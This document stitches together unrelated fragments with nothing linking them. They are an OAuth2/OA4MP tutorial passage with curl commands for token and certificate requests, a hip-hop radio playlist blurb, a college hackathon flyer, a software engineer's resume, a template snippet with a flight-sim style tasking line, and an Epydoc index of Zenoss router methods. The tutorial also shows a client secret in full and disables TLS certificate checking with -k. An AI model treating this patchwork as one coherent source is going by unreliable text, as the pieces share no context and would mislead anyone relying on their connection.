https://ashigaru.ncsa.uiuc.edu:9443/client/ready? code=https%3A%2F%2Fsurge.ncsa.illinois.edu%2Foauth2%2FauthzGrant%2F6d08e01649cb7d766b0c6288333377b1%2F1453837119100& state=qqqqq
Note that the state passed in initially is returned. You can ignore this. The important thing is the code. This must be swapped out for a access token.
This requires a little more work since you have to do a POST (as per the spec) using cURL. In this example, I am using the -k flag to avoid checking the SSL cert for the server. This may or may not be required for your setup and the -d parameter that gloms together the request, allowing it to be entered on multiple lines:
curl -k --location -d code=https%3A%2F%2Fsurge.ncsa.illinois.edu%2Foauth2%2FauthzGrant%2F6d08e01649cb7d766b0c6288333377b1%2F1453837119100 \ -d client_id=myproxy%3Aoa4mp%2C2012%3A%2Fclient_id%2F2a3aab4b67ab2354563 \ -d client_secret=KYuXckx3yilsiwl6Z3934587KSUIF983489_3498drfgn3 \ -d redirect_uri=https%3A%2F%2Fashigaru.ncsa.uiuc.edu%3A9443%2Fclient%2Fready \ -d grant_type=authorization_code \ https://surge.ncsa.illinois.edu/oauth2/token
Note that the actual endpoint goes at the end of this request. You should get a response like this:
{"access_token":"https://surge.ncsa.illinois.edu/oauth2/accessToken/20c290985f42bf8efb0677b8db67971e/1453837731113", "refresh_token":"https://surge.ncsa.illinois.edu/oauth2/refreshToken/49e7fd57565264e2710ddec6d266f84a/1453837731113", "id_token":"eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJpc3MiOiJodHRwcz.", "token_type":"Bearer", "expires_in":900}
Again, you just need the access_token.
It is assumed you generated a cert request before you started. In that case, you need to URLencode the cert request you created and send it along in the request (which is just a GET).
curl -k --location "https://surge.ncsa.illinois.edu/oauth2/getcert? access_token=https%3A%2F%2Fsurge.ncsa.illinois.edu%2Foauth2%2FaccessToken%2F20c290985f42bf8efb0677b8db67971e%2F1453837731113& client_id=myproxy%3Aoa4mp%2C2012%3A%2Fclient_id%2F2a3aab4b67ab2354563& client_secret=KYuXckx3yilsiwl6Z3934587KSUIF983489_3498drfgn3& certreq=MIICfzCCAWcCAQAwOjEMMAoGA1UEBhMDVVNBMQswCQYDVQQKEwJPVTELMAkGA12B7lBCgs6hf73A%3D%3D"
The response is just the certificate.
-----BEGIN CERTIFICATE----- MIIEOzCCAyOgAwIBAgIDXB6BMA0GCSqGSIb3DQEBCwUAMIGDMQswCQYDVQQGEwJVUzE4MDYGA1UE ChMvTmF0aW9uYWwgQ2VudGVyIGZvciBTdXBlcmNvbXB1dEb... ...


Some of the greatest rappers hail from the birthplace of hip hop. But, tonight we honor the true kings of NY, selecting one from each borough: The King of The Bronx: KRS-One, The King of Manhattan: Cam'Ron, The King of Brooklyn: Notorious B.I.G., The King of Staten Island: Ghostface Killah, and The King of Queens: Nas.
YouTube
Stream/Download Hour 1 (the archives are now defunct)
Stream/Download Hour 2 (the archives are now defunct)
Spotify*
* Spotify Playlist is missing the following songs: #9 Notorious B.I.G. - Party & Bullshit, #10 Children Of The Corn - Biscuits & Bangers, & #12 Ghostface Killah - The Sun (featuring Raekwon The Chef, Slick Rick, and RZA).


BMCC HACK Fall 2018
October 6th
"Start < coding > here. Go < coding > anywhere! "
BMCC HACK Fall 2018
First BMCC Hackthon, and you don't want to miss it !
"Start < coding > here. Go < coding > anywhere! "
Event
Fitterman Building
Saturday: 9AM-9PM (Food Provided)
Date option: October 6th or October 13th
Simple Rules
Team of 2 and not more than 4
No Team? come and we will team you up!
Any Major is welcome!


Lead Software Engineer
Winter 2012-Present
Bridgeport National Bindery, ERP and B2B application development, Agawam, MA
- Acted as a primary motivator in the addition of Bridgeport National Bindery’s
biggest POD partner: implemented the bridge between the two domains and
ensured all development-related tasks were finished quickly and consistently.
Software Engineer
Fall 2006-2012
Bridgeport National Bindery, ERP and B2B application development, Agawam, MA
- Architected a revamp of the existing ERP system which drastically increased
modularity, improved consistency, and streamlined the addition of large customers.
- Worked together with customers and partners to enact inter-business communication
systems managing terabytes of PDFs. These systems helped realize
huge growth in the new field of print on demand.
Software Intern
Summer 2006
Atalasoft, Easthampton, MA
- Worked together with a team of interns quickly exploring the potential usage
paradigms of a newly released product.
- Processed a plethora of information on both digital image theory and the dotImage
product from current employees in order to best determine how it could be
paired with Windows Workflow Foundation.
PLC & HMI Programmer
Winters 2002-07
Industrial Power Services, Ware, MA
- Automated alerts, logging, and proportional-integral-derivative loops used in
programmable logic controllers to optimize the operating efficiency of multiple
power plants.
- Implemented the ladder logic of DirectSoft PLC programs that governed the
transitions and states of multiple generators and gas-burning flares, making the
process of bringing up or shutting down all systems easier faster.


{extend name="/Jquery_Mobile/base" /} {block name="content"} {php}//dump($site_info) {/php}
Near N27°13.168 E53°02.613Laser code 1687, LasingUnengagedFreq 265 AM
Current vector:253 For 23nm
Issued by GCI: player2


Home
Trees
Indices
Help
[
hide private
]
[
frames
] |
no frames
]
Identifier Index
[
A
B
C
D
E
F
G
H I J K
L
M
N
O
P
Q
R
S
T
U
V
W
X Y
Z
_
]
A
acknowledge()
(in
EventsRouter
)
addLocalTemplate()
(in
DeviceRouter
)
addTemplate()
(in
TemplateRouter
)
add_event()
(in
EventsRouter
)
addLocationNode()
(in
DeviceRouter
)
addThreshold()
(in
TemplateRouter
)
addClass()
(in
ServiceRouter
)
addMIB()
(in
MibRouter
)
addThresholdToGraph()
(in
TemplateRouter
)
addCustomToGraph()
(in
TemplateRouter
)
addNode()
(in
TreeRouter
)
addToZenPack()
(in
ZenPackRouter
)
addDataPoint()
(in
TemplateRouter
)
addNode()
(in
MibRouter
)
addTrap()
(in
MibRouter
)
addDataPointToGraph()
(in
TemplateRouter
)
addNode()
(in
NetworkRouter
)
addTrigger()
(in
TriggersRouter
)
addDataSource()
(in
TemplateRouter
)
addNode()
(in
ReportRouter
)
addWindow()
(in
TriggersRouter
)
addDevice()
(in
DeviceRouter
)
addNotification()
(in
TriggersRouter
)
asyncGetTree()
(in
TreeRouter
)
addGraphDefinition()
(in
TemplateRouter
)
addOidMapping()
(in
MibRouter
)
asyncGetTree()
(in
ReportRouter
)
B
bindOrUnbindTemplate()
(in
DeviceRouter
)
C
classify()
(in
EventsRouter
)
close()
(in
EventsRouter
)
copyTemplate()
(in
TemplateRouter
)
clear_heartbeats()
(in
EventsRouter
)
column_config()
(in
EventsRouter
)
clearGeocodeCache()
(in
DeviceRouter
)
configSchema()
(in
EventsRouter
)
D
deleteComponents()
(in
DeviceRouter
)
deleteNode()
(in
MibRouter
)
deleteZenProperty()
(in
DeviceRouter
)
deleteDataPoint()
(in
TemplateRouter
)
deleteNode()
(in
NetworkRouter
)
detail()
(in
EventsRouter
)
deleteDataSource()
(in
TemplateRouter
)
deleteNode()
(in
ReportRouter
)
DetailNavRouter
(in
Products.Zuul.routers.nav
)
deleteGraphDefinition()
(in
TemplateRouter
)
deleteOidMapping()
(in
MibRouter
)
device
(in
Products.Zuul.routers
)
deleteGraphPoint()
(in
TemplateRouter
)
deleteTemplate()
(in
TemplateRouter
)
DeviceRouter
(in
Products.Zuul.routers.device
)
deleteNode()
(in
TreeRouter
)
deleteTrap()
(in
MibRouter
)
discoverDevices()
(in
NetworkRouter
)
E
essentialReportOrganizers
(in
Products.Zuul.routers.report
)
EventsRouter
(in
Products.Zuul.routers.zep
)
F
findComponentIndex()
(in
DeviceRouter
)
G
getAddTemplateTargets()
(in
TemplateRouter
)
getHardwareProductNames()
(in
DeviceRouter
)
getProductionStates()
(in
DeviceRouter
)
getBoundTemplates()
(in
DeviceRouter
)
getInfo()
(in
DeviceRouter
)
getRecipientOptions()
(in
TriggersRouter
)
getClassNames()
(in
ServiceRouter
)
getInfo()
(in
MibRouter
)
getReportTypes()
(in
ReportRouter
)
getCollectors()
(in
DeviceRouter
)
getInfo()
(in
NetworkRouter
)
getSecurityPermissions()
(in
DetailNavRouter
)
getComponents()
(in
DeviceRouter
)
getInfo()
(in
ProcessRouter
)
getSequence()
(in
ProcessRouter
)
getComponentTree()
(in
DeviceRouter
)
getInfo()
(in
ServiceRouter
)
getSystems()
(in
DeviceRouter
)
getConfig()
(in
EventsRouter
)
getInfo()
(in
TemplateRouter
)
getTemplates()
(in
DeviceRouter
)
getContextMenus()
(in
DetailNavRouter
)
getInstances()
(in
ProcessRouter
)
getTemplates()
(in
TemplateRouter
)
getCopyTargets()
(in
TemplateRouter
)
getInstances()
(in
ServiceRouter
)
getThresholdDetails()
(in
TemplateRouter
)
getDataPointDetails()
(in
TemplateRouter
)
getIpAddresses()
(in
NetworkRouter
)
getThresholds()
(in
TemplateRouter
)
getDataPoints()
(in
TemplateRouter
)
getLocalTemplates()
(in
DeviceRouter
)
getThresholdTypes()
(in
TemplateRouter
)
getDataSourceDetails()
(in
TemplateRouter
)
getLocations()
(in
DeviceRouter
)
getTraps()
(in
MibRouter
)
getDataSources()
(in
TemplateRouter
)
getManufacturerNames()
(in
DeviceRouter
)
getTree()
(in
DeviceRouter
)
getDataSourceTypes()
(in
TemplateRouter
)
getMibNodeTree()
(in
MibRouter
)
getTree()
(in
MibRouter
)
getDetailNavConfigs()
(in
DetailNavRouter
)
getMibTrapTree()
(in
MibRouter
)
getTree()
(in
NetworkRouter
)
getDeviceClasses()
(in
DeviceRouter
)
getModelerPluginDocStrings()
(in
DeviceRouter
)
getTree()
(in
ProcessRouter
)
getDeviceClassTemplates()
(in
TemplateRouter
)
getModifications()
(in
DeviceRouter
)
getTree()
(in
ServiceRouter
)
getDevices()
(in
DeviceRouter
)
getMonitoredStartModes()
(in
ServiceRouter
)
getTrigger()
(in
TriggersRouter
)
getDeviceUuidsByName()
(in
DeviceRouter
)
getNotification()
(in
TriggersRouter
)
getTriggerList()
(in
TriggersRouter
)
getEligiblePacks()
(in
ZenPackRouter
)
getNotifications()
(in
TriggersRouter
)
getTriggers()
(in
TriggersRouter
)
getEvents()
(in
DeviceRouter
)
getNotificationTypes()
(in
TriggersRouter
)
getUnboundTemplates()
(in
DeviceRouter
)
getForm()
(in
DeviceRouter
)
getObjTemplates()
(in
TemplateRouter
)
getUnmonitoredStartModes()
(in
ServiceRouter
)
getGraphDefinition()
(in
TemplateRouter
)
getOidMappings()
(in
MibRouter
)
getUserCommands()
(in
DeviceRouter
)
getGraphDefs()
(in
DeviceRouter
)
getOrganizerTree()
(in
MibRouter
)
getUserMessages()
(in
MessagingRouter
)
getGraphInstructionTypes()
(in
TemplateRouter
)
getOrganizerTree()
(in
ServiceRouter
)
getWindow()
(in
TriggersRouter
)
getGraphPoints()
(in
TemplateRouter
)
getOSProductNames()
(in
DeviceRouter
)
getWindows()
(in
TriggersRouter
)
getGraphs()
(in
TemplateRouter
)
getOverridableTemplates()
(in
DeviceRouter
)
getZenProperties()
(in
DeviceRouter
)
getGroups()
(in
DeviceRouter
)
getPriorities()
(in
DeviceRouter
)
getZenProperty()
(in
DeviceRouter
)
L
loadComponentRanges()
(in
DeviceRouter
)
log
(in
Products.Zuul.routers.device
)
log
(in
Products.Zuul.routers.report
)
loadRanges()
(in
DeviceRouter
)
log
(in
Products.Zuul.routers
)
log
(in
Products.Zuul.routers.triggers
)
lockComponents()
(in
DeviceRouter
)
log
(in
Products.Zuul.routers.mibs
)
log
(in
Products.Zuul.routers.zenpack
)
lockDevices()
(in
DeviceRouter
)
log
(in
Products.Zuul.routers.network
)
log
(in
Products.Zuul.routers.zep
)
M
makeLocalRRDTemplate()
(in
TemplateRouter
)
MibRouter
(in
Products.Zuul.routers.mibs
)
moveNode()
(in
ReportRouter
)
menuText
(in
Products.Zuul.routers.report
)
mibs
(in
Products.Zuul.routers
)
moveOrganizer()
(in
TreeRouter
)
messaging
(in
Products.Zuul.routers
)
moveDevices()
(in
DeviceRouter
)
moveProcess()
(in
ProcessRouter
)
MessagingRouter
(in
Products.Zuul.routers.messaging
)
moveNode()
(in
MibRouter
)
moveServices()
(in
ServiceRouter
)
N
nav
(in
Products.Zuul.routers
)
Network6Router
(in
Products.Zuul.routers.network
)
nextEventSummaryUpdate()
(in
EventsRouter
)
network
(in
Products.Zuul.routers
)
NetworkRouter
(in
Products.Zuul.routers.network
)
P
parseFilter()
(in
TriggersRouter
)
ProcessRouter
(in
Products.Zuul.routers.process
)
process
(in
Products.Zuul.routers
)
pushChanges()
(in
DeviceRouter
)
Q
query()
(in
ProcessRouter
)
query()
(in
EventsRouter
)
queryGenerator()
(in
EventsRouter
)
query()
(in
ServiceRouter
)
queryArchive()
(in
EventsRouter
)
R
remodel()
(in
DeviceRouter
)
removeThreshold()
(in
TemplateRouter
)
reportTypes
(in
Products.Zuul.routers.report
)
removeDevices()
(in
DeviceRouter
)
removeTrigger()
(in
TriggersRouter
)
resetBoundTemplates()
(in
DeviceRouter
)
removeIpAddresses()
(in
NetworkRouter
)
removeWindow()
(in
TriggersRouter
)
resetCommunity()
(in
DeviceRouter
)
removeLocalRRDTemplate()
(in
TemplateRouter
)
reopen()
(in
EventsRouter
)
resetIp()
(in
DeviceRouter
)
removeLocalTemplate()
(in
DeviceRouter
)
report
(in
Products.Zuul.routers
)
routers
(in Products.Zuul)
removeNotification()
(in
TriggersRouter
)
ReportRouter
(in
Products.Zuul.routers.report
)
S
service
(in
Products.Zuul.routers
)
setGraphDefinition()
(in
TemplateRouter
)
setInfo()
(in
ServiceRouter
)
ServiceRouter
(in
Products.Zuul.routers.service
)
setGraphDefinitionSequence()
(in
TemplateRouter
)
setInfo()
(in
TemplateRouter
)
setBoundTemplates()
(in
DeviceRouter
)
setGraphPointSequence()
(in
TemplateRouter
)
setPriority()
(in
DeviceRouter
)
setBrowserState()
(in
MessagingRouter
)
setInfo()
(in
DeviceRouter
)
setProductInfo()
(in
DeviceRouter
)
setCollector()
(in
DeviceRouter
)
setInfo()
(in
MibRouter
)
setProductionState()
(in
DeviceRouter
)
setComponentsMonitored()
(in
DeviceRouter
)
setInfo()
(in
NetworkRouter
)
setSequence()
(in
ProcessRouter
)
setConfigValues()
(in
EventsRouter
)
setInfo()
(in
ProcessRouter
)
setZenProperty()
(in
DeviceRouter
)
T
template
(in
Products.Zuul.routers
)
TreeRouter
(in
Products.Zuul.routers
)
TriggersRouter
(in
Products.Zuul.routers.triggers
)
TemplateRouter
(in
Products.Zuul.routers.template
)
triggers
(in
Products.Zuul.routers
)
U
unacknowledge()
(in
EventsRouter
)
updateTrigger()
(in
TriggersRouter
)
updateNotification()
(in
TriggersRouter
)
updateWindow()
(in
TriggersRouter
)
W
write_log()
(in
EventsRouter
)
Z
zenpack
(in
Products.Zuul.routers
)
ZenPackRouter
(in
Products.Zuul.routers.zenpack
)
zep
(in
Products.Zuul.routers
)
_
__init__()
(in
MibRouter
)
_getDialogMenuItems()
(in
DetailNavRouter
)
_getTagsFromOccurrence()
(in
EventsRouter
)
__init__()
(in
Network6Router
)
_getFacade()
(in
TreeRouter
)
_getTagsFromOrganizers()
(in
EventsRouter
)
__init__()
(in
NetworkRouter
)
_getFacade()
(in
DeviceRouter
)
_getTreeUpdates()
(in
ReportRouter
)
__init__()
(in
ReportRouter
)
_getFacade()
(in
MibRouter
)
_lookupDeviceClass()
(in
EventsRouter
)
__init__()
(in
ServiceRouter
)
_getFacade()
(in
Network6Router
)
_lookupEventClassMapping()
(in
EventsRouter
)
__init__()
(in
EventsRouter
)
_getFacade()
(in
NetworkRouter
)
_lookupTags()
(in
EventsRouter
)
_buildFilter()
(in
EventsRouter
)
_getFacade()
(in
ProcessRouter
)
_mapToDetailEvent()
(in
EventsRouter
)
_buildRequestFilters()
(in
EventsRouter
)
_getFacade()
(in
ReportRouter
)
_mapToOldEvent()
(in
EventsRouter
)
_buildSort()
(in
EventsRouter
)
_getFacade()
(in
ServiceRouter
)
_marshalPath()
(in
ReportRouter
)
_canDeleteUid()
(in
TreeRouter
)
_getFacade()
(in
TemplateRouter
)
_mergeAuditLogToNotes()
(in
Products.Zuul.routers.zep
)
_canDeleteUid()
(in
ServiceRouter
)
_getFacade()
(in
TriggersRouter
)
_mergeSchemaAndZepConfig()
(in
EventsRouter
)
_convertSeverityToName()
(in
EventsRouter
)
_getFacade()
(in
ZenPackRouter
)
_singleDetail()
(in
EventsRouter
)
_convertSeverityToNumber()
(in
EventsRouter
)
_getLinkMenuItems()
(in
DetailNavRouter
)
_status_name
(in
Products.Zuul.routers.zep
)
_filterComponents()
(in
DeviceRouter
)
_getMenuItems()
(in
DetailNavRouter
)
_timeRange()
(in
EventsRouter
)
_filterInvalidUuids()
(in
EventsRouter
)
_getNameFromUuid()
(in
EventsRouter
)
_treeMoveUpdates()
(in
ReportRouter
)
_findDetails()
(in
EventsRouter
)
_getPathFromUuid()
(in
EventsRouter
)
_uuidUrl()
(in
EventsRouter
)
Home
Trees
Indices
Help
Generated by Epydoc 3.0.1 on Mon Sep 26 13:47:55 2011
http://epydoc.sourceforge.net